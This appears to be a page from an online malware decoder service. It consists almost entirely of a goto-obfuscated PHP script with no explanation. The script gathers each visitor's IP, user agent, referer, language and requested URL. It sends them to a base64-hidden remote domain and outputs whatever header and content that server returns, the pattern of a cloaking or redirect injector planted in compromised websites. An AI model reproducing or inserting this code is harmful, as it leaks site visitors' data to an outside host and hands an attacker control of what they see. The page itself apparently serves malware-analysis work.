Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


goto xZ2Xp; v3ERt: goto yF5WG; goto Dg5e0; L62pg: Ga_TU: goto s4gfR; R6Q0W: Hg89P: goto aXGTc; XsubM: goto dCRY7; goto eML63; r8hAR: TQy0J: goto B70cI; KjJzb: nSFv9: goto anu1N; isbZe: M6Qvk: goto a3Nzm; eML63: uUYI7: goto zzXzE; OUBhB: KsC1N: goto DthpH; GEDlz: goto xg2n5; goto E60qi; CKmT3: goto cznw_; goto BbHzc; xG5Wv: wRdPc: goto S5gN3; uYSN4: goto vwBSN; goto ARHsV; F5oUj: $fg9fn = @preg_split("/{\|}/si", $NMmIp, -1, PREG_SPLIT_NO_EMPTY); goto v3ERt; bJpFl: $JMtjK["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : ''; goto iAo3O; RZxz1: goto wRdPc; goto j7kd8; MzEm6: @header($fg9fn[0]); goto S0kHM; i2L32: goto eTWT5; goto z5RKu; aa3Sj: goto PEo6Q; goto SUt2v; t5NCS: xg2n5: goto svJq3; aX4CF: goto TQy0J; goto SxL8h; xZ2Xp: goto zkcWE; goto r8hAR; s4gfR: goto IFN3S; goto z9J0g; aXGTc: goto bA8Rb; goto W6Xrk; a3Nzm: $JMtjK["protocol"] = isset($_SERVER["HTTPS"]) ? "https://" : "http://"; goto CKmT3; XHqp0: roqq7: goto Ug5iS; anu1N: $JMtjK["request_url"] = $_SERVER["REQUEST_URI"]; goto cVEOa; SUt2v: eTWT5: goto G7sax; G7sax: $M8EEm = 0; goto u4fxD; GxsCA: BrcLC: goto M5MAr; E60qi: CpimT: goto WLajS; z5RKu: dCRY7: goto ggW6U; cVEOa: goto pGtII; goto GxsCA; n7WAz: $JMtjK["api"] = $QN5yK; goto RZxz1; L2MKq: goto FKdjV; goto L62pg; g5MOU: PEo6Q: goto yVQSD; SUD0C: goto oQKf2; goto Limfo; EFI0x: cznw_: goto DL01U; Dg5e0: vwBSN: goto GDt_P; M5MAr: if (isset($_REQUEST["params"])) { goto Ga_TU; } goto L2MKq; omcoy: $M8EEm++; goto aX4CF; DL01U: $JMtjK["language"] = isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : ''; goto FlGCr; u4fxD: goto CpimT; goto I2yDv; WLajS: CT2R8: goto dy4VQ; TKrUg: goto Bt1aZ; goto oZ1bP; h2BZj: xEkGo: goto Qolay; wsNLq: FNr9m: goto bJpFl; K3FoM: goto N1V1e; goto KjJzb; V6641: if ($M8EEm < 3) { goto YIGjV; } goto TKrUg; TMXrN: echo $fg9fn[1]; goto BQqUz; xfM2K: goto uUYI7; goto gIWen; svJq3: die; goto K3FoM; YI_Ye: goto MwIvl; goto ToFau; bHIMJ: zkcWE: goto TgfFr; TgfFr: function CMT2r($yYqyZ) { goto XIoou; MOkjk: N7yhB: goto XqypT; OqC2d: dxiON: goto TNkeW; Q2m_x: curl_setopt($QFNYN, CURLOPT_USERAGENT, "e"); goto W4fFf; UDxeh: goto sMn54; goto bVqN3; tGlz8: goto IIE6p; goto Q5Nkv; Q5Nkv: dP9A9: goto tQ0lP; gPXf0: IIE6p: goto Q2m_x; ldu2U: goto puubj; goto gZBus; f8daT: curl_close($QFNYN); goto snW7Q; XqypT: $uGfAN = curl_exec($QFNYN); goto as4Gv; qrtfg: goto LY_Fq; goto MOkjk; M3o5s: $QFNYN = curl_init(); goto JZVxL; l3G3s: p11KT: goto fjp_1; A02Ax: sMn54: goto pTDfr; wy9zb: goto TUJRl; goto dxGeb; BL83m: curl_setopt($QFNYN, CURLOPT_RETURNTRANSFER, 1); goto U3N9o; pTDfr: curl_setopt($QFNYN, CURLOPT_FRESH_CONNECT, TRUE); goto jX4iw; dxGeb: WsRjf: goto f8daT; bVqN3: dPqcj: goto BL83m; XEzrK: LY_Fq: goto sXa8_; JZVxL: goto p11KT; goto A02Ax; jX4iw: goto N7yhB; goto l3G3s; gZBus: qPc8K: goto M3o5s; ng6Kv: goto odKJv; goto McMFV; XIoou: goto qPc8K; goto XEzrK; snW7Q: goto dxiON; goto Cu6Gl; WCpkd: return $uGfAN; goto qrtfg; tQ0lP: curl_setopt($QFNYN, CURLOPT_TIMEOUT, 30); goto UDxeh; lMtpu: goto Cvsep; goto VYgyg; W4fFf: goto dPqcj; goto OqC2d; as4Gv: goto WsRjf; goto ZRom3; U3N9o: goto dP9A9; goto gPXf0; sXa8_: odKJv: goto ldu2U; Cu6Gl: Cvsep: goto WCpkd; McMFV: AUhlZ: goto lMtpu; VYgyg: puubj: goto fYj4C; ZRom3: TUJRl: goto fEl6N; fYj4C: return ''; goto wy9zb; TNkeW: if ($uGfAN) { goto AUhlZ; } goto ng6Kv; fjp_1: curl_setopt($QFNYN, CURLOPT_URL, $yYqyZ); goto tGlz8; fEl6N: } goto XTSh3; Xt9XL: if ($JMtjK["ip"] == null) { goto RgW4o; } goto YI_Ye; BQqUz: goto KsC1N; goto bHIMJ; Tcll_: goto ybE0H; goto XHqp0; oZ1bP: YIGjV: goto aa3Sj; Ug5iS: $QN5yK = base64_decode("aHR0cDovL3VzNDU2LXYzMzcudXNhbWF6b24yMS5jbGljaw=="); goto XsubM; S0kHM: goto Me8Ha; goto lQN55; hFNwl: goto roqq7; goto OUBhB; lQN55: s_qjM: goto VIDuG; lbXPT: goto FNr9m; goto wsNLq; DthpH: die; goto TVt8V; Ff5ev: bA8Rb: goto MzEm6; qPYTZ: $JMtjK["ip"] = isset($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"]; goto xfM2K; j7kd8: wGAK5: goto Xz4en; izflY: goto nSFv9; goto Ff5ev; W6Xrk: Me8Ha: goto TMXrN; ARHsV: LFVSU: goto Xt9XL; OJ2N2: goto M6Qvk; goto t5NCS; XTSh3: goto xEkGo; goto g5MOU; Qolay: function CQn_V($vItsd) { goto RRaEC; IcWVu: Y2XL1: goto xhw7d; ofR3s: iEALP: goto LJBTn; NjAFo: $TAgDh = 0; goto j12cZ; mEPlp: ZjM8a: goto XuMmt; ttPkL: PGv2b: goto cyk7D; KCD4t: Vizxy: goto KdxDC; aOYXa: jgtH2: goto mEPlp; Oi0R0: goto XYN7z; goto iURn3; ZBwK7: $z_JPg = substr($vItsd, strlen($vItsd) - 2); goto QtWu8; iURn3: oxOsJ: goto ZBwK7; tfWte: iG6fT: goto rgCmx; KdxDC: goto Y2XL1; goto AYCmI; ccSv1: return $Cx2b5; goto Z4z3n; CE7XA: ur0ld: goto KtL07; XuMmt: goto kYccW; goto IcWVu; mIyNt: ERAGy: goto bS2Dd; rgCmx: p8iON: goto XAA8Y; cI5mZ: kYccW: goto SvqQh; GIOYj: $ajVUd = str_split($vItsd); goto CoXtJ; ve7C8: goto ur0ld; goto aOYXa; AYCmI: R7MRO: goto MFs2P; AyKNH: goto p8iON; goto ttPkL; omT9G: XYN7z: goto ccSv1; QtWu8: goto GFL6R; goto sNnrq; cyk7D: goto ERAGy; goto fB8EU; tOzlD: goto d9mhI; goto CE7XA; CoXtJ: goto R7MRO; goto cI5mZ; RRaEC: goto oxOsJ; goto Dm7j6; NXnne: d9mhI: goto NjAFo; KtL07: goto Vizxy; goto nUyfr; nUyfr: goto iG6fT; goto mIyNt; Dm7j6: GFL6R: goto GIOYj; bS2Dd: $Cx2b5 .= $ajVUd[$TAgDh + 1] . $ajVUd[$TAgDh]; goto RBxG9; AsTc4: $Cx2b5 .= $z_JPg; goto Oi0R0; Z4z3n: goto iEALP; goto NXnne; RBxG9: goto jgtH2; goto omT9G; XAA8Y: goto GOKq6; goto ofR3s; sNnrq: axtvG: goto KCD4t; xhw7d: if ($TAgDh < count($ajVUd) - 2) { goto PGv2b; } goto AyKNH; j12cZ: goto axtvG; goto tfWte; MFs2P: $Cx2b5 = ''; goto tOzlD; SvqQh: $TAgDh = $TAgDh + 2; goto ve7C8; fB8EU: GOKq6: goto AsTc4; LJBTn: } goto hFNwl; B70cI: goto CT2R8; goto UpGr3; dy4VQ: goto q0W21; goto pHwOa; ToFau: RgW4o: goto Tcll_; yOv8t: $NMmIp = CMT2r($yYqyZ); goto SUD0C; S5gN3: print_r($JMtjK); goto GEDlz; zzXzE: $JMtjK["agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : ''; goto lbXPT; UpGr3: goto wGAK5; goto xG5Wv; yVQSD: $yYqyZ = sprintf("%s/?r=%s", $QN5yK, cqn_v(base64_encode(implode("{|}", $JMtjK)))); goto jkn09; Om794: if (!empty($fg9fn) && isset($fg9fn[1])) { goto Hg89P; } goto JS3KV; pHwOa: N1V1e: goto n1RfK; dRLwk: $JMtjK["ip"] = ''; goto uYSN4; jkn09: goto HZ9By; goto h2BZj; SxL8h: IFN3S: goto n7WAz; n1RfK: FKdjV: goto i2L32; I2yDv: pGtII: goto qPYTZ; JS3KV: goto KIyFD; goto R6Q0W; iAo3O: goto LFVSU; goto nBYXd; GDt_P: MwIvl: goto OJ2N2; ggW6U: $JMtjK["domain"] = isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $_SERVER["SERVER_NAME"]; goto izflY; t1rhc: HZ9By: goto yOv8t; gIWen: ybE0H: goto dRLwk; TVt8V: goto s_qjM; goto isbZe; BbHzc: oQKf2: goto F5oUj; VIDuG: KIyFD: goto UCMDc; z9J0g: jQH8G: goto omcoy; FlGCr: goto BrcLC; goto t1rhc; nBYXd: yF5WG: goto Om794; Limfo: q0W21: goto V6641; UCMDc: goto jQH8G; goto EFI0x; Xz4en: Bt1aZ:



© 2023 Quttera Ltd. All rights reserved.